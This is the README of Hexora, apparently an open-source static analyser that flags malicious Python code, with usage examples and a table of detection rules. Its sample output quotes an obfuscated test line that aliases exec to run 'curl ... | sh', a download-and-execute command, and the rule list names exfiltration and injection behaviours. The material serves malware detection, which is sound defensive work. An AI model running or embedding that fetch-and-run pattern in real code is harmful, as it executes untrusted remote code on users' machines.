rushter/hexoraStatic analysis of malicious Python code
Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code. It combines a rule-based static analysis engine with a machine-learned model that scores entire source files to classify them as malicious or benign.
It can be used to:
For output examples, please see docs/examples.md file.
Requires Python 3.9+.
pip install hexora
Using uv:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Where python3.11 is the version of the Python in virtual environment.
Tips:
--exclude to suppress certain rule codes (e.g., noisy imports) for a given run--min-confidence to focus on high-confidence findings only.Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.
Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.
For example, this code will have a high confidence:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
When developing new rules, you can use existing malicious datasets such as malicious-software-packages-dataset.
After cloning, point the benchmarking tool to the dataset directory:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
New rules are added regularly.
Right now, the following rules are available:
For parsing, we use AST parser from ruff library.
| Code | Name | Description |
|---|
| HX1000 | AppEnumeration | Suspicious application enumeration. |
| HX1010 | BrowserEnumeration | Suspicious browser enumeration (apps, cookies, history, etc.). |
| HX1020 | PathEnumeration | Suspicious path enumeration. |
| HX1030 | OSFingerprint | Suspicious OS fingerprinting. |
| HX2000 | ClipboardRead | Reading from the clipboard. |
| HX2010 | EnvAccess | Access to a sensitive environment variable. |
| HX2020 | ScreenshotCapture | Capturing screenshots from the display. |
| HX3000 | CodeExec | Possible code execution. |
| HX3010 | ShellExec | Execution of a shell command. |
| HX3040 | DLLInjection | Possible DLL injection. |
| HX3050 | DangerousExec | Execution of potentially dangerous command inside a shell command. |
| HX3060 | SuspiciousCall | Suspicious function call. |
| HX4000 | ObfuscatedShellExec | Execution of possibly obfuscated shell command. |
| HX4010 | ObfuscatedCodeExec | Execution of possibly obfuscated code. |
| HX5000 | DunderImport | Suspicious use of __import__. |
| HX5010 | SuspiciousImport | Suspicious import. |
| HX5020 | CtypesImport | Suspicious ctypes import. |
| HX5030 | PickleImport | Suspicious pickle import. |
| HX5040 | StructImport | Suspicious struct import. |
| HX5050 | SocketImport | Suspicious socket import. |
| HX5060 | MarshalImport | Suspicious marshal import. |
| HX6000 | Base64String | Long Base64-encoded string detected; possible code obfuscation. |
| HX6010 | HexedLiterals | List of hex-encoded literals detected; possible payload. |
| HX6020 | HexedString | Long hex-encoded string detected; possible payload. |
| HX6030 | IntLiterals | Large list of integer literals detected; possible code obfuscation. |
| HX6040 | CVEInLiteral | Literal contains a CVE identifier. |
| HX6050 | SuspiciousLiteral | Suspicious literal detected; possible data enumeration. |
| HX6060 | PathTraversal | Suspicious path traversal. |
| HX6070 | BrowserExtension | Enumeration of sensitive browser extensions. |
| HX6080 | WebHook | Suspicious webhook detected. Possible data exfiltration. |
| HX6090 | TelegramToken | Telegram bot token detected in string literal. |
| HX7000 | SuspiciousFunctionName | Suspicious function name. |
| HX7010 | SuspiciousParameterName | Suspicious parameter name. |
| HX7020 | SuspiciousVariable | Suspicious variable name. |
| HX9000 | DataExfiltration | Potential data exfiltration. |
| HX8000 | BinaryDownload | Suspicious binary download. |
| HX8010 | BuiltinsVariable | Suspicious builtin variable usage. |
| HX8020 | SuspiciousComment | Suspicious comment. |
| HX8030 | SuspiciousWrite | Suspicious write to the filesystem. |
| HX8040 | InstallHook | Suspicious install hook setup. |